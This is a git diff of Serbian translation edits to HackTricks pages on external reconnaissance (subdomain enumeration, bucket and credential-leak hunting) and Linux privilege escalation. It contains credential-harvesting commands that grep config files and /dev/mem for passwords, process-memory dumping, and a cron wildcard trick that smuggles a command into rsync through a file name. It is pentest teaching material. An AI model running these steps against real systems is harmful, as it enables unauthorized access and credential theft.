koji pripadaju p **Shodan** -Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati po tim podacima u Shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu. +Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati po tim podacima u shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu. -Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih u **Shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih po **shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** @@ -183,9 +182,7 @@ Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organiz Proverite za neki [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neku domenu** ali su **izgubili vlasništvo**. Samo je registrujte (ako je dovoljno jeftina) i obavestite kompaniju. Ako pronađete neku **domenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju sredstava, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ -&#xNAN;_Note da ponekad je domena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._ - - +&#xNAN;_Note da ponekad domena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._ ## Poddomene @@ -253,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Postoje **drugi zanimljivi alati/API** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su: +Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena ```bash @@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove iz AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koju datu domenu. +- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -334,9 +331,9 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -Takođe, IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Takođe i IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -Najpreporučivaniji alati za DNS brute-force su: +Najpreporučiviji alati za DNS brute-force su: - [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izvršavao DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima. ```bash @@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete validne poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulaz-izlaz. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete validne poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulazno-izlazne podatke. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -388,7 +385,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena. +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena. #### Pametna generacija permutacija @@ -406,9 +403,13 @@ echo www | subzuf facebook.com Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru: -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **VHosts / Virtuelni Hostovi** @@ -439,25 +440,25 @@ VHostScan -t example.com ### **CORS Brute Force** -Ponekad ćete naići na stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/subdomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete zloupotrebiti ovo ponašanje da **otkrijete** nove **subdomene**. +Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je važeća domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **Brute Force za Buckete** -Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na bilo koju vrstu **bucketa**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neki tip **bucketa**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive bucketa i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). ### **Monitorisanje** -Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)to radi. +Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). ### **Traženje ranjivosti** Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). +Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). -Ako pronađete bilo koju **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ +Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od usluga koje se pokreću, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ &#xNAN;_Note da ponekad subdomena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._ ## IP-ovi @@ -465,7 +466,7 @@ Ako pronađete bilo koju **subdomenu sa IP-om koji se razlikuje** od onih koje s U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\ Sada je vreme da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).** -Koristeći usluge iz sledećih **besplatnih API-ja** možete takođe pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -473,7 +474,7 @@ Takođe možete proveriti za domene koje upućuju na određenu IP adresu koriste ### **Traženje ranjivosti** -**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim servisima možda ćete **moći da pronađete ranjivosti**. +**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim uslugama možda ćete **moći da pronađete ranjivosti**. **Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.** @@ -493,13 +494,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **Screenshots** -Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**. +Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, pojednostavimo to i počnimo tako što ćemo napraviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**. Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne. -## Javni Cloud Resursi +## Public Cloud Assets Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "", <"subdomain_names">`. @@ -509,17 +510,17 @@ Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u ka - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Drugu rundu DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija). +Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija). Sa dobijenim listama reči možete koristiti alate kao što su [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Zapamtite da kada tražite Cloud Resurse, trebali biste **gledati više od samo kanti u AWS-u**. +Zapamtite da kada tražite Cloud resurse, trebate **gledati više od samo kanti u AWS-u**. -### **Traženje ranjivosti** +### **Looking for vulnerabilities** -Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti. +Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati videti šta vam nude i da li ih možete zloupotrebiti. -## Emailovi +## Emails Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije: @@ -528,41 +529,41 @@ Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam * - API [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija) - API [**https://minelead.io/**](https://minelead.io/) (besplatna verzija) -### **Traženje ranjivosti** +### **Looking for vulnerabilities** Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju. -## Curjenje Akreditiva +## Credential Leaks -Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite akreditive koji su procurili u prošlosti i koji pripadaju tim emailovima: +Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Traženje ranjivosti** +### **Looking for vulnerabilities** -Ako pronađete **validne procurene** akreditive, ovo je vrlo lakša pobeda. +Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda. -## Curenje Tajni +## Secrets Leaks -Curenje akreditiva je povezano sa hakovanjem kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka: +Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka: -### Github Curjenja +### Github Leaks -Akreditivi i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\ -Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repoe** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima. +Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\ +Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) na njima. **Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstova** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**. #### Github Dorks -Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate: +Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe pretraživati u organizaciji koju napadate: {{#ref}} github-leaked-secrets.md {{#endref}} -### Curenja Paste +### Pastes Leaks Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme. @@ -571,13 +572,13 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**. -_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._ +_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._ -### **Traženje ranjivosti** +### **Looking for vulnerabilities** -Ako pronađete **validne procurene** akreditive ili API tokene, ovo je vrlo laka pobeda. +Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo laka pobeda. -## Javne Ranjivosti Koda +## Public Code Vulnerabilities Ako ste otkrili da kompanija ima **open-source kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu. @@ -591,13 +592,13 @@ Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repo - [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Metodologija**](../../network-services-pentesting/pentesting-web/) +## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) **Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/). -Takođe želim da posebno pomenem sekciju [**Web Automatski Skenere open source alati**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, ako ne biste trebali očekivati da pronađu veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako bi imali neke inicijalne web informacije.** +Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.** -## Rekapitulacija +## Recapitulation > Čestitamo! U ovom trenutku ste već izvršili **sve osnovne enumeracije**. Da, to je osnovno jer se može uraditi mnogo više enumeracija (videćemo više trikova kasnije). @@ -610,10 +611,10 @@ Dakle, već ste: 5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega. 6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?) 7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji. -8. **Emailovi**, **curenje akreditiva**, i **curenje tajni** koji bi vam mogli dati **veliku pobedu vrlo lako**. +8. **Emailovi**, **curenje kredencijala** i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**. 9. **Pentesting svih web stranica koje ste pronašli** -## **Potpuni Automatski Alati za Recon** +## **Full Recon Automatic Tools** Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega. @@ -622,8 +623,8 @@ Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog o - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) - [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo star i nije ažuriran -## **Reference** +## **References** -- Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**Metodologija lovca na greške v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI) +- Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9b451cf26..a34259529 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Sistem informacije +## Informacije o sistemu -### OS informacije +### Informacije o OS-u Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se pokreće ```bash @@ -26,7 +26,7 @@ Zanimljive informacije, lozinke ili API ključevi u promenljivim okruženja? ``` ### Kernel exploits -Proverite verziju kernela i da li postoji neki exploit koji se može iskoristiti za eskalaciju privilegija +Proverite verziju kernela i da li postoji neki exploit koji se može iskoristiti za eskalaciju privilegija. ```bash cat /proc/version uname -a @@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Korisni softver -Nabrojite korisne binarne datoteke +Nabrojte korisne binarne datoteke ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` @@ -156,9 +156,9 @@ Preporučuje se da se ručno proveri verzija sumnjivijeg instaliranog softvera. dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite da li je instaliran zastareli i ranjiv softver. +Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastarele i ranjive softvere instalirane unutar mašine. -> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju neke aplikacije poput OpenVAS-a ili sličnih koje će proveriti da li je neka verzija instaliranog softvera ranjiva na poznate eksploite._ +> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju neki alati poput OpenVAS-a ili sličnih koji će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._ ## Procesi @@ -168,7 +168,7 @@ ps aux ps -ef top -n 1 ``` -Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra unutar komandne linije procesa.\ +Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proveravajući `--inspect` parametar unutar komandne linije procesa.\ Takođe **proverite svoje privilegije nad binarnim datotekama procesa**, možda možete prepisati nečije. ### Praćenje procesa @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Koristimo ove informacije da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl. +Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl. ```bash procdump() ( @@ -231,13 +231,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` omogućava pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti koristeći /dev/kmem.\ -Obično, `/dev/mem` je samo čitljiv za **root** i **kmem** grupu. +Obično, `/dev/mem` je samo čitljiv od strane **root** korisnika i **kmem** grupe. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump za linux -ProcDump je linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump je Linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -281,7 +281,7 @@ Ako otkrijete da proces autentifikacije radi: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Možete dumpovati proces (vidite prethodne sekcije da pronađete različite načine za dumpovanje memorije procesa) i pretražiti kredencijale unutar memorije: +Možete dumpovati proces (pogledajte prethodne sekcije da pronađete različite načine za dumpovanje memorije procesa) i pretražiti kredencijale unutar memorije: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -325,7 +325,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul Na primer, unutar _/etc/crontab_ možete pronaći PUTANJU: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Obratite pažnju na to kako korisnik "user" ima privilegije pisanja nad /home/user_) +(_Obratite pažnju na to da korisnik "user" ima privilegije pisanja nad /home/user_) Ako unutar ovog crontaba korisnik root pokuša da izvrši neku komandu ili skriptu bez postavljanja putanje. Na primer: _\* \* \* \* root overwrite.sh_\ Tada možete dobiti root shell koristeći: @@ -340,9 +340,9 @@ Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je džoker prethodjen putanjom kao** _**/some/path/\***_, **nije ranjiv (čak ni** _**./\***_ **nije).** +**Ako je džoker prethodjen putanjom kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** -Pročitajte sledeću stranicu za više trikova sa džokerima: +Pročitajte sledeću stranicu za više trikova sa iskorišćavanjem džokera: {{#ref}} wildcards-spare-tricks.md @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Nevidljivi cron poslovi -Moguće je kreirati cron posao **stavljanjem povratka u red nakon komentara** (bez karaktera novog reda), i cron posao će raditi. Primer (obratite pažnju na karakter povratka u red): +Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (bez novog reda), i cron posao će raditi. Primer (obratite pažnju na znak povratka): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -405,7 +405,7 @@ Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binar ## **Tajmeri** -**Tajmeri** su systemd jedinice čije ime se završava sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za kalendarske vremenske događaje i monotone vremenske događaje i mogu se izvršavati asinhrono. +**Tajmeri** su systemd jedinice čije ime se završava sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje kalendarskog vremena i monotonskog vremena i mogu se izvršavati asinhrono. Možete nabrojati sve tajmere sa: ```bash @@ -424,7 +424,7 @@ U dokumentaciji možete pročitati šta je jedinica: Dakle, da biste zloupotrebili ovu dozvolu, trebali biste: - Pronaći neku systemd jedinicu (kao što je `.service`) koja **izvršava zapisivu binarnu datoteku** -- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **zapisive privilegije** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program) +- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program) **Saznajte više o tajmerima sa `man systemd.timer`.** @@ -439,26 +439,26 